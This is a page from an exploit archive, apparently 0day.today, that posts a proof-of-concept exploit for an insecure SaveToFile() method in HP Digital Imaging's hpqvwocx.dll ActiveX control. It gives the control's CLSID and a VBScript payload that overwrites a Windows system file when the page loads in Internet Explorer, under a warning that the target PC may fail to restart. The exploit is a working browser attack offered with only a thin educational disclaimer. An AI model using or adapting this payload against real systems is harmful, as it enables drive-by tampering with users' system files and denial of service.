HP Digital Imaging (hpqvwocx.dll v. 2.1.0.556) SaveToFile() Exploit

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HP Digital Imaging (hpqvwocx.dll v. 2.1.0.556) SaveToFile() Exploit
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<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------
 <b>HP Digital Imaging (hpqvwocx.dll v. 2.1.0.556) "SaveToFile()" Insecure Method</b>
 url: http://www.hp.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 This control is marked as:
 <b>RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data  
 IPersist Safe: Safe for untrusted: caller, data</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 The browser seems to freeze for a few seconds, anyway if you try to close it
 before the exploit is ended, it will resutl in a DoS and the file will be
 overwritten though.
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<object classid='clsid:BA726BF9-ED2F-461B-9447-CD5C7D66CE8D' id='test'></object>

<script language='vbscript'>
    test.SaveToFile 1, "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"HP Digital Imaging")
</script>
</span>
</code></pre>



#  0day.today [2018-01-08]  #